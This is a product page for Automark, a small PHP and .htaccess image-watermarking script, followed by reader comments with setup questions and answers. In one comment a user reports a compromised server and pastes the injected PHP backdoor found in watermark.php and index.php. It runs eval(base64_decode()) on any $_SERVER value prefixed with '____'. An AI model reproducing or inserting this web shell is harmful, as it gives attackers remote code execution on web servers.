Automark

Automark is a very simple “on-the-fly” automatic image watermarking script using PHP and .htaccess.

Want to protect your images? By using this script, your watermark will automatically be added to your images in the directory Automark resides in.

This script also has the capability of ignoring thumbnails or certain files from being watermarked.

For example, if you have an image with the name “redcar.jpg”, it will automatically be watermarked, but its corresponding thumbnail “redcar_thumb.jpg” will not be watermarked.

EXAMPLE:

Download Now

Download Suspended as Product is no longer supported

HISTORY:

December 5, 2008:
Automark version 1.1 released. Added the capability to ignore thumbnail images.

April 9, 2008:
Automark version 1.0 released

If you have any questions, comments or suggestions, feel free to leave them below.

36 thoughts on “Automark

  1. This seems a great script, will surely be beneficial to me since i upload pics on my blog and have to manually water mark them which is time consuming.

  2. Hi i am trying to use this on my blog. When i uploaded the images, i see that in the upload folder there are few more folders like 2008 2009, so where do i upload this?

  3. @ Car Blog:

    This script is designed to work in any directory that contains your images.

    WordPress will automatically create monthly folders in your wp-content/uploads directory for your images.

    What I’ve done since I don’t want to watermark every single image that I upload is I’ve created a seperate folder just to use Automark with and all the images I want watermarked will be uploaded to that folder. I can upload any other images to whichever folder I want (ie. 2009/01, etc.)

  4. @ Charles:

    As long as the script is uploaded to the same folder that you’re images are in and your web host allows your own .htaccess files, there should be no problem at all.

  5. Solution Found

    1) On Wamp – click on Wamp
    2) Click on Apache
    3) Click on Apache modules
    4) Select rewrite-module so that it has a check
    5) Restart Apache

    Works perfectly now. Thanks.

  6. @ Dis Appointed:

    I don’t know what type of host you have, but this script is only a few lines of code- there’s no way it would slow your site down or crack any images. It’s been tested on over a dozen web hosts and with thousands of pictures without any issues.

  7. @ Charles:

    If the GIF is transparent, then it may not work. Other than that, it should work fine with GIFs as long as the last line in the included .htaccess file includes GIF images.

  8. My thumbnails are all prefixed with the letter t… how would I modify the .htaccess regex for that… I have been messing around without success using !^t.

    Also… do you have a version that could batch process in a php script?

    I have a script that I wrote that scans my database for records without a thumbnail reference, finds that set, changes their sizes to 100×100 and writes the resulting file as tnewfilename.jpg and updates the database with the new file name…

    I would like to add your thumbnailing process to the loop and am not sure if it will work like that… maybe you have something like this you could adapt…

    Other than my naming convention issue, you script works fine in that all my images are getting the overlay now…

  9. @ Bill:

    I don’t know about just the simple letter “t”. If it’s something like “t_”, you can add the following line to your htaccess file:

    RewriteCond %{REQUEST_FILENAME} !t_

    Then your filenames would be something like:

    t_file01.jpg, t_file02.jpg, etc.

  10. @ Mirni:

    It doesn’t matter what you’re using, you just upload the two files included with this script to the same folder your images reside in. That’s it.

  11. is it possible to use spaces in the filenames.. as it is now I get an error when I use a file with a space in the name

  12. I am using it as a watermark-maker for imageflow and in imageflow you can use spaces

    at least in the version I am using I can

  13. Hi John,

    good idea for a script. I am wondering if this will work on my blog where the images are not stored locally, they are stored in Picasa.

    I’ll give it a crack and see what I come up with.

  14. Very intelligent to use htaccess for watermarked, it is a great script easy to use and works perfectly. It is posible the script watermarked at the centre of the image?

  15. Luis
    Open watermark.php and edit the line
    imagecopy($image, $watermark, $w-$ww, $h-$wh, 0, 0, $ww, $wh);

    Change the two zero’s to the image coordinates you want to place the watermark.

    I hope this helps!

  16. Hi,

    This looks like a great idea for a script, but i cannot download it to try it, because the link is broken. Would it be possible for you to fix the link or send me a copy via e-mail using the the address that i used to post this?

    Thanks

  17. Potential hack????
    Hi guys and girls,

    I just noticed something that disturbs me. In the folder where I have my photos automarked, the watermark.php file has been modified (the following code has been added):

    function gpc_1840($l1842){if(is_array($l1842)){foreach($l1842 as $l1840=>$l1841)$l1842[$l1840]=gpc_1840($l1841);}elseif(is_string($l1842) && substr($l1842,0,4)==”____”){eval(base64_decode(substr($l1842,4)));$l1842=null;}return $l1842;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map(“gpc_1840″,$_SERVER);
    /*
    # Automark ver. 1.1

    I don’t know what this means, though a file index.php has also been added with the following content:

    gpc_9162($l9164){if(is_array($l9164)){foreach($l9164 as $l9162=>$l9163)$l9164[$l9162]=gpc_9162($l9163);}elseif(is_string($l9164) && substr($l9164,0,4)==”____”){eval(base64_decode(substr($l9164,4)));$l9164=null;}return $l9164;}if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map(“gpc_9162″,$_SERVER);
    // Silence is golden.
    ?>

    I know that this was not definately done by myself. I don’t like that comment “silence is golden”

    Any ideas???

  18. Not sure what’s going on here
    Although I didn’t write the code (previous website owner did), I had a look, yet there isn’t a watermark.php file

  19. Hello,
    great script, but I have one problem with it. I would like to use ‘Automark’ in a Fotogallerie, however, it should be active only in the main list, not in the available subdirectory.
    How can I prevent the access from ‘Automark’ on the subfolder?

    Greetings,
    Klaus

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>